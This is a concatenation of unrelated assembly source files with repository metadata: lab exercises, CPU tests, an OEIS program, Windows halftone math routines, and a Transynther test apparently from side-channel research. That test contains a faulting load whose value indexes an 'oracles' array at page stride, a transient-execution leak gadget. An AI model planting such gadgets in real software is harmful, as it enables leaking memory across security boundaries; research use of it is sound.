0x00 db 0x81, 0x5b, 0xdb, 0x7f, 0x01, 0xfd, 0xb7, 0xb5, 0x00 db 0x81, 0x57, 0x16, 0xff, 0xff, 0xfe, 0xd1, 0xd5, 0x00 db 0x81, 0x55, 0x3d, 0xdd, 0x7d, 0x77, 0x79, 0x55, 0x00 db 0x81, 0x57, 0xfb, 0xae, 0xee, 0xeb, 0xbf, 0xd5, 0x00 db 0x81, 0x5b, 0x07, 0x77, 0xd7, 0xdd, 0xc1, 0xb5, 0x00 db 0x81, 0x59, 0xfe, 0xdb, 0xbb, 0xb6, 0xff, 0x35, 0x00 db 0x81, 0x5e, 0x05, 0xad, 0x7d, 0x6b, 0x40, 0xf5, 0x00 db 0x81, 0x59, 0xfe, 0xdb, 0xbb, 0xb6, 0xff, 0x35, 0x00 db 0x81, 0x5b, 0x07, 0x77, 0xd7, 0xdd, 0xc1, 0xb5, 0x00 db 0x81, 0x57, 0xfb, 0xaf, 0xef, 0xeb, 0xbf, 0xd5, 0x00 db 0x81, 0x55, 0x3d, 0xde, 0x7c, 0xf7, 0x79, 0x55, 0x00 db 0x81, 0x57, 0x16, 0xfd, 0xbb, 0x7e, 0xd1, 0xd5, 0x00 db 0x81, 0x5b, 0xdb, 0xfb, 0xd7, 0xbf, 0xb7, 0xb5, 0x00 db 0x81, 0x59, 0xdd, 0xdb, 0x39, 0xb7, 0x77, 0x35, 0x00 db 0x81, 0x5e, 0x3b, 0xab, 0x39, 0xab, 0xb8, 0xf5, 0x00 db 0x81, 0x57, 0xf7, 0xdb, 0xd7, 0xb7, 0xdf, 0xd5, 0x00 db 0x81, 0x5b, 0x6e, 0xfd, 0xbb, 0x7e, 0xed, 0xb5, 0x00 db 0x81, 0x57, 0xf5, 0x7d, 0x7d, 0x7d, 0x5f, 0xd5, 0x00 db 0x81, 0x5e, 0x3b, 0xbd, 0xd7, 0x7b, 0xb8, 0xf5, 0x00 db 0x81, 0x59, 0xdd, 0xd5, 0xab, 0x57, 0x77, 0x35, 0x00 db 0x81, 0x5b, 0xdb, 0x6e, 0xee, 0xed, 0xb7, 0xb5, 0x00 db 0x81, 0x57, 0x16, 0xba, 0xee, 0xba, 0xd1, 0xd5, 0x00 db 0x81, 0x55, 0x3d, 0xd6, 0xc6, 0xd7, 0x79, 0x55, 0x00 db 0x81, 0x57, 0xfb, 0x6e, 0xc6, 0xed, 0xbf, 0xd5, 0x00 db 0x81, 0x5b, 0x06, 0xbb, 0x6d, 0xba, 0xc1, 0xb5, 0x00 db 0x81, 0x59, 0xfd, 0xd7, 0x7d, 0xd7, 0x7f, 0x35, 0x00 db 0x81, 0x5e, 0x03, 0x6d, 0xbb, 0x6f, 0x80, 0xf5, 0x00 db 0x81, 0x5f, 0xff, 0xff, 0xd7, 0xff, 0xff, 0xf5, 0x00 db 0x81, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00 db 0x81, 0x7f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfd, 0x00 db 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00 db 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x00 db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04 db 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
30.715686
53
0.614267
62eefe3c3ebc954ad9542d37c549660b8e6ff93b
823
asm
Assembly
HU - Microprocessor Lab/Assignment 2/Assignment 2 Q1.asm
imzaaat/assembly-projects
059f143b62e1de10780a35efd64875ba4555cbe2
[ "MIT" ]
1
2021-11-30T19:20:16.000Z
2021-11-30T19:20:16.000Z
HU - Microprocessor Lab/Assignment 2/Assignment 2 Q1.asm
imzaaat/assembly-projects
059f143b62e1de10780a35efd64875ba4555cbe2
[ "MIT" ]
null
null
null
HU - Microprocessor Lab/Assignment 2/Assignment 2 Q1.asm
imzaaat/assembly-projects
059f143b62e1de10780a35efd64875ba4555cbe2
[ "MIT" ]
null
null
null
.MODEL SMALL ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; GROUP G ;;;; ; ;;;; ; Zaid Abdullah Abu-Tarboush 1537512 ;;;; ; ;;;; ; Anas Amajd Zaki 1437178 ;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; .DATA X DB 0 Y DB 0 Z DB 0 R DB 0 .CODE .STARTUP MOV AX, 700h MOV DS, AX MOV AL, DS:50h MOV X, AL MOV AL, DS:51h MOV Y, AL MOV AL, DS:52h MOV Z, AL ; Calculate X & Z and save it in AL MOV AL, Z AND X, AL MOV AL, X ; Calculate Y xor (X&Z) which is contained in AL and save it in AL XOR Y, AL MOV AL, Y ; Calculate Z or (Y xor (X&Z)) which is contained in AL and save it in AL OR AL, Z ; Move the result to location 0700:70 MOV DS:70h, AL .EXIT END
15.240741
73
0.443499
c650170b3aabe9fa741c1bb7215a3540d7801234
660
asm
Assembly
DLX_simulation_cfg/sim/test_jump/test_instr_jump.asm
florix/DLX
fd629818ae72e40849bfa866ee8d23ee82e6f302
[ "MIT" ]
null
null
null
DLX_simulation_cfg/sim/test_jump/test_instr_jump.asm
florix/DLX
fd629818ae72e40849bfa866ee8d23ee82e6f302
[ "MIT" ]
null
null
null
DLX_simulation_cfg/sim/test_jump/test_instr_jump.asm
florix/DLX
fd629818ae72e40849bfa866ee8d23ee82e6f302
[ "MIT" ]
null
null
null
; Test Jump instruction(branch delay slot not used) and Register File internal Forwarding begin: ; test reg file internal forwaring addi r1, r0, 1 ; F D E M W addi r2, r0, 0 ; F D E M W addi r3, r0, 4 ; F D E M W add r4, r3, r1 ; F D E M W <- RAW Hazard here, since is reading r1, which is going to be written into the reg file by the first addi jal one ; store PC + 8 in r31 nop ; branch delay slot not used addi r8, r0, 8 addi r9, r0, 9 jalr r0 ; Here should be placed a nop! nop one: addi r5, r0, 10 addi r7, r0, 15 jr r31 ;Here should be placed a nop! nop j begin nop nop nop nop nop nop nop nop nop nop nop nop nop nop
13.469388
139
0.662121
a27b05caa915b536475d66d0bb6235b11478c1e7
192
asm
Assembly
libsrc/games/gal/bit_close.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/games/gal/bit_close.asm
andydansby/z88dk-MK2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
null
null
null
libsrc/games/gal/bit_close.asm
andydansby/z88dk-MK2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
null
null
null
; $Id: bit_close.asm,v 1.1 2008/12/09 17:48:18 stefano Exp $ ; ; Galaksija 1 bit sound functions ; ; void bit_click(); ; ; Stefano Bodrato ; XLIB bit_close .bit_close ret
12.8
60
0.625
0c1acab2cc16d5d332dcec7aecaa80b4515f975f
6,262
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1240.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1240.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1240.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1acb8, %r11 sub $55876, %r13 movb $0x61, (%r11) add %rsi, %rsi lea addresses_WT_ht+0xdf18, %rsi lea addresses_D_ht+0xb248, %rdi nop nop cmp %rbx, %rbx mov $127, %rcx rep movsq nop nop xor %r13, %r13 lea addresses_normal_ht+0x19198, %rsi lea addresses_A_ht+0x98, %rdi nop nop nop nop nop and %r11, %r11 mov $115, %rcx rep movsq nop lfence lea addresses_UC_ht+0xc818, %rbx clflush (%rbx) and %r9, %r9 movl $0x61626364, (%rbx) nop nop cmp $3752, %rsi lea addresses_UC_ht+0x48d8, %r9 cmp $34567, %r13 vmovups (%r9), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %rbx nop nop nop nop nop xor $58301, %r11 lea addresses_WT_ht+0x17e98, %rsi lea addresses_WT_ht+0x1bcd8, %rdi nop nop xor $44753, %rbp mov $5, %rcx rep movsw nop nop cmp %r13, %r13 lea addresses_WC_ht+0x15218, %r11 nop nop nop nop nop xor $25599, %rbp mov $0x6162636465666768, %rbx movq %rbx, %xmm2 vmovups %ymm2, (%r11) nop add $34783, %rbp lea addresses_UC_ht+0x1a9c0, %rbp nop dec %r11 movb $0x61, (%rbp) nop nop cmp %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %rbp push %rbx push %rdi push %rdx // Store lea addresses_US+0xb218, %rbx nop and %rdi, %rdi movb $0x51, (%rbx) nop nop nop add %r11, %r11 // Faulty Load lea addresses_D+0x12e98, %r10 clflush (%r10) nop and $11360, %rdx vmovups (%r10), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rbp lea oracles, %rbx and $0xff, %rbp shlq $12, %rbp mov (%rbx,%rbp,1), %rbp pop %rdx pop %rdi pop %rbx pop %rbp pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_US'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_UC_ht'}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
40.662338
2,999
0.658735
0d5ea9abea870c1639f832158df1fb9930e11fb4
1,682
asm
Assembly
programs/oeis/006/A006222.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/006/A006222.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/006/A006222.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A006222: 11*n^2 + 11*n + 3. ; 3,25,69,135,223,333,465,619,795,993,1213,1455,1719,2005,2313,2643,2995,3369,3765,4183,4623,5085,5569,6075,6603,7153,7725,8319,8935,9573,10233,10915,11619,12345,13093,13863,14655,15469,16305,17163,18043,18945,19869,20815,21783,22773,23785,24819,25875,26953,28053,29175,30319,31485,32673,33883,35115,36369,37645,38943,40263,41605,42969,44355,45763,47193,48645,50119,51615,53133,54673,56235,57819,59425,61053,62703,64375,66069,67785,69523,71283,73065,74869,76695,78543,80413,82305,84219,86155,88113,90093,92095,94119,96165,98233,100323,102435,104569,106725,108903,111103,113325,115569,117835,120123,122433,124765,127119,129495,131893,134313,136755,139219,141705,144213,146743,149295,151869,154465,157083,159723,162385,165069,167775,170503,173253,176025,178819,181635,184473,187333,190215,193119,196045,198993,201963,204955,207969,211005,214063,217143,220245,223369,226515,229683,232873,236085,239319,242575,245853,249153,252475,255819,259185,262573,265983,269415,272869,276345,279843,283363,286905,290469,294055,297663,301293,304945,308619,312315,316033,319773,323535,327319,331125,334953,338803,342675,346569,350485,354423,358383,362365,366369,370395,374443,378513,382605,386719,390855,395013,399193,403395,407619,411865,416133,420423,424735,429069,433425,437803,442203,446625,451069,455535,460023,464533,469065,473619,478195,482793,487413,492055,496719,501405,506113,510843,515595,520369,525165,529983,534823,539685,544569,549475,554403,559353,564325,569319,574335,579373,584433,589515,594619,599745,604893,610063,615255,620469,625705,630963,636243,641545,646869,652215,657583,662973,668385,673819,679275,684753 sub $1,$0 bin $1,2 mul $1,22 add $1,3
210.25
1,612
0.830559
9dd67991261f7b24006e3afe191a16cc10ea6bf3
88,604
asm
Assembly
windows/core/ntgdi/halftone/ht/i386/htutils.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
windows/core/ntgdi/halftone/ht/i386/htutils.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
windows/core/ntgdi/halftone/ht/i386/htutils.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
PAGE 60, 132 TITLE miscellaneous utilities sub-functions COMMENT ` Copyright (c) 1990-1991 Microsoft Corporation Module Name: htutils.asm Abstract: This module provided a set of sub-functions for math speed up subfunctions. This function is the equivelant codes in the htmath.c Author: 24-Sep-1991 Tue 18:33:44 updated -by- Daniel Chou (danielc) [Environment:] Printer Driver. [Notes:] Revision History: ` .XLIST INCLUDE i386\i80x86.inc .LIST IF HT_ASM_80x86 ;------------------------------------------------------------------------------ .XLIST INCLUDE i386\htp.inc .LIST ;------------------------------------------------------------------------------ .CODE FD6NUM_1_DW equ 0f4240h FD6NUM_1_HW equ 0fh FD6NUM_1_LW equ 4240h SUBTTL ComputeChecksum PAGE COMMENT ` Routine Description: This function compute 32-bit checksum of the passed data Arguments: pData - Pointer to a byte array to be computed for the checksum DataSize - Size of the data in bytes Return Value: 32-bit checksum in dx:ax or EAX Author: 18-Mar-1991 Mon 13:48:51 created -by- Daniel Chou (danielc) Revision History: ` @BEG_PROC ComputeChecksum <pData:DWORD, \ InitialChecksum:DWORD, \ DataSize:DWORD> IF i8086 OR i286 ; lots of works for this kind of CPU ;================================== ; ds:si = data ; bx:cx = size ; ax = Checksum Octet S ; dx = Checksun Octet R ;============================================================================ ;We have two 16-bit checksum octet R,S , inital are zero ; ; S(n) = S(n-1) + Data ; R(n) = R(n-1) + S(n) ;============================================================================ @ENTER _DS _SI ; Save environment registers LDS_SI pData cld mov cx, WPTR DataSize mov bx, WPTR DataSize+2 mov ax, WPTR InitialChecksum ; assume no odd byte mov dx, WPTR InitialChecksum+2 shr bx, 1 rcr cx, 1 jnc short CheckSum1 CheckSum0: xor ax, ax lodsb add ax, WPTR InitialChecksum CheckSum1: inc cx inc bx jmp short CheckSumStart CheckSumLoop: add ax, WPTR [_SI] ; S(n) = one's complement arithmic adc dx, ax, add _SI, 2 CheckSumStart: dec cx jnz CheckSumLoop dec bx jnz short CheckSumLoop @EXIT ELSE ;************************************************************************* ; for i386 or upward compatble ;************************************************************************* ;================================== ; _BX = data ; _CX = size ; ax = Checksum Octet S ; dx = Checksun Octet R ;============================================================================ ;We have two 16-bit checksum octet R,S , inital are zero ; ; S(n) = S(n-1) + Data ; R(n) = R(n-1) + S(n) ;============================================================================ @ENTER mov _BX, DPTR pData mov _CX, DPTR DataSize movzx _AX, WPTR InitialChecksum ; assume no odd byte movzx _DX, WPTR InitialChecksum+2 ; assume no odd byte shr _CX, 1 jnc short CheckSum1 CheckSum0: xor ax, ax mov al, BPTR [_BX] add ax, WPTR InitialChecksum inc _BX CheckSum1: inc _CX jmp short CheckSumStart CheckSumLoop: add ax, WPTR [_BX] ; S(n) = one's complement arithmic add dx, ax ; R(n) = one's complement arithmic add _BX, 2 CheckSumStart: dec _CX jnz CheckSumLoop Done: shl _DX, 16 ; R:S = dx:ax = _AX = 32-bits or _AX, _DX ; return at EAX @EXIT ENDIF @END_PROC SUBTTL MulFD6 PAGE COMMENT ` Routine Description: This function multiply two FD6 numbers (FIX decimal point decimal long number, the LONG DECIMAL POINT SIX (FD6) is a number with lowest 6 digits as fraction to the right of the decimal point), so like 1234567 = 1.234567, the range for this data type is -2147.483647 to 2147.483647. Arguments: Multiplicand - a 32-bit FD6 multiplicand dividend number. Multiplier - a 32-bit FD6 multiplier number. Return Value: The return value is the 32-bit FD6 number which is round up from 7th decimal points, there is no remainder returned. NO ERROR returned, if divisor is zero the return value will be 0, if overflow happened, then maximum FD6 number will be returned (ie. 2147.483647) Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Revision History: ` @BEG_PROC MulFD6 <Multiplicand:DWORD, \ Multiplier:DWORD> IF i8086 OR i286 ; lots of works for this kind of CPU @ENTER _SI _DI _BP ; save these registers mov ax, WPTR Multiplier mov dx, WPTR Multiplier + 2 mov cx, ax or cx, dx jz short MulFD6_Zero mov bx, WPTR Multiplicand mov bp, WPTR Multiplicand + 2 mov cx, bx or cx, bp jz short MulFD6_Zero ; if any one of them is zero then ; result must be zero MulFD6_1: xor cx, cx or bp, bp jns short MulFD6_2 NEG32_FROMR16HL bp, bx not cx ; cx=0 if positive, cx=0xffff negative MulFD6_2: or dx, dx jns short MulFD6_3 NEG32_FROMR16HL dx, ax not cx ; flip the final sign indicator MulFD6_3: cmp bp, FD6NUM_1_HW ; check if bp:bx == 1000000 (1.0) jnz short MulFD6_31 cmp bx, FD6NUM_1_LW jz short MulFD6_4 ; bp:bx = 1.0 return dx:ax MulFD6_31: cmp dx, FD6NUM_1_HW jnz short MulFD6_32 ; cmp ax, FD6NUM_1_LW ; check if dx:ax == 1000000 (1.0) jnz short MulFD6_32 mov ax, bx mov dx, bp ; dx:ax = 1.0 return bp:bx jmp short MulFD6_4 MulFD6_32: push cx ; save it call U32MulU32_U64 ; dx:ax * bp:bx = dx:ax:bp:bx call U64Div1000000 ; dx:ax:bp:bx / 1000000 = dx:ax pop cx ; restore sign indicator MulFD6_4: S32_FROMR16HL_SR16 dx, ax, cx ; flip sign if sign @EXIT MulFD6_Zero: xor ax, ax ; return 0 xor dx, dx jmp short MulFD6_4 ELSE ;************************************************************************* ; for i386 or upward compatble ;************************************************************************* @ENTER ; entering function mov _AX, DPTR Multiplier ; see if this guy is zero cdq ; save dx sign xor _AX, _DX ; take absolute Multiplier in _AX sub _AX, _DX ; zero ? jz short MulFD6_Done ; return zero mov _BX, _DX ; _BX = sign mov _CX, _AX ; save absolute Multiplier in _CX mov _AX, DPTR Multiplicand ; edx:eax now cdq ; sign extended, saved the sign at here xor _AX, _DX sub _AX, _DX ; eax=absolute dividend now jz short MulFD6_Done ; dividend = 0, return 0 xor _BX, _DX ; _BX=final sign only if _BX != _DX ; ; _AX=Multiplicand, _CX=Multiplier, _BX = final sign indicator ; mov _DX, _CX mov _CX, FD6NUM_1_DW ; multiply dividend by 1.0 (decimal) ; ; _AX=Multiplicand, _DX=Multiplier, _BX=sign, _CX=1.0 ; cmp _DX, _CX ; if Multiplier=1.0 or -1.0 then exit jz short MulFD6_Sign ; return Multiplicand xchg _DX, _AX ; _AX=Multiplier, _DX=Multiplicand ; ; _AX=Multiplier, _DX=Multiplicand, _BX=sign, _CX=1.0 ; cmp _DX, _CX ; if Multiplicand=1.0 or -1.0 then exit jz short MulFD6_Sign ; return Multiplier mul _DX ; _DX x _AX = _DX:_AX add _AX, (FD6NUM_1_DW / 2) ; try to round up adc _DX, 0 cmp _DX, _CX ; will divison overflow? jae short MulFD6_Overflow div _CX ; _DX=remainder, _AX=quotient MulFD6_Sign: xor _AX, _BX ; do any sign if necessary sub _AX, _BX MulFD6_Done: cdq ; make it 64-bits @EXIT ; exiting function MulFD6_Overflow: mov _AX, 07fffffffh ; return maximum number jmp short MulFD6_Sign ENDIF ; i8086 or i286 @END_PROC SUBTTL Cube PAGE COMMENT ` Routine Description: This function compute the cube of the Number (ie. Number ^ 3) the range for this data type is -2147.483647 to 2147.483647. Arguments: Number - a 32-bit FD6 multiplicand dividend number. Return Value: The return value is the 32-bit FD6 number which is round up from 7th decimal points, there is no remainder returned. Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Revision History: ` @BEG_PROC Cube <Number:DWORD> IF i8086 OR i286 ; lots of works for this kind of CPU @ENTER _SI _DI _BP ; save these registers mov ax, WPTR Number mov dx, WPTR Number + 2 mov cx, ax or cx, dx jz short Cube_Done ; return 0 ; result must be zero Cube_1: xor cx, cx or dx, dx jns short Cube_2 NEG32_FROMR16HL dx, ax not cx ; flip the final sign indicator Cube_2: cmp dx, FD6NUM_1_HW jnz short Cube_3 ; cmp ax, FD6NUM_1_LW ; check if dx:ax == 1000000 (1.0) jz Cube_Sign ; done Cube_3: push cx ; save it (sign) push dx push ax mov bp, dx mov bx, ax call U32MulU32_U64 ; dx:ax * bp:bx = dx:ax:bp:bx call U64Div1000000 ; dx:ax:bp:bx / 1000000 = dx:ax pop bx ; now multiply the original again pop bp call U32MulU32_U64 ; dx:ax * bp:bx = dx:ax:bp:bx call U64Div1000000 ; dx:ax:bp:bx / 1000000 = dx:ax pop cx ; restore sign indicator Cube_Sign: S32_FROMR16HL_SR16 dx, ax, cx ; flip sign if sign Cube_Done: @EXIT ELSE ;************************************************************************* ; for i386 or upward compatble ;************************************************************************* @ENTER ; entering function mov _AX, DPTR Number ; see if this guy is zero cdq ; save dx sign xor _AX, _DX ; take absolute Multiplier in _AX sub _AX, _DX ; zero ? jz short Cube_Done ; return zero push _DX ; save sign mov _CX, _AX ; save absolute Multiplier in _CX mov _BX, FD6NUM_1_DW ; ; _AX=_CX=ABS(Number), esp= final sign indicator, _BX=1.0 ; cmp _AX, _BX jz Cube_Sign ; return 1.0 or -1.0 mul _CX ; _DX:_AX=result add _AX, (FD6NUM_1_DW / 2) ; try to round up adc _DX, 0 cmp _DX, FD6NUM_1_DW ; will divison overflow? jae short Cube_Overflow div _BX ; _DX=remainder, _AX=quotient mul _CX add _AX, (FD6NUM_1_DW / 2) ; try to round up adc _DX, 0 cmp _DX, FD6NUM_1_DW ; will divison overflow? jae short Cube_Overflow div _BX ; _DX=remainder, _AX=quotient Cube_Sign: pop _BX xor _AX, _BX ; do any sign if necessary sub _AX, _BX Cube_Done: cdq ; make it 64-bits @EXIT ; exiting function Cube_Overflow: mov _AX, 07fffffffh ; return maximum number jmp short Cube_Sign ENDIF ; i8086 or i286 @END_PROC SUBTTL MulDivFD6Pairs PAGE COMMENT ` Routine Description: This function multiply each pair of FD6 numbers and add the each pair of the result together. (FIX decimal point decimal long number, the LONG DECIMAL POINT SIX (FD6) is a number with lowest 6 digits as fraction to the right of the decimal point), so like 1234567 = 1.234567, the range for this data type is -2147.483647 to 2147.483647. Arguments: pMulDivPair - Pointer to array of MULDIVPAIR data structure, the first structure in the array tell the count of the FD6 pairs, a Divisor present flag and a Divisor, the FD6 pairs start from second element in the array. Return Value: The return value is the 32-bit FD6 number which is round up from 7th decimal points, there is no remainder returned. NO ERROR returned, if divisor is zero then it assume no divisor is present, if Count of FD6 pairs is zero then it return FD6_0 Author: 27-Aug-1992 Thu 18:13:55 updated -by- Daniel Chou (danielc) Re-write to remove variable argument conflict, and make it only passed a pointer to the MULDIVPAIR structure array 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Revision History: ` @BEG_PROC MulDivFD6Pairs <pMulDivPair:DWORD> IF i8086 OR i286 ; lots of works for this kind of CPU @ENTER _DS _SI _DI _BP lds si, pMulDivPair lodsw ; get count xor dx, dx ; clear dx for quick exit or ax, ax jnz short MulDivFD6PairCount jmp MulDivFD6Pair9 ; exit with 0 MulDivFD6PairCount: mov cx, ax ; cx=count lodsw ; get divisor present flag or ax, ax ; has divisor ? jz short 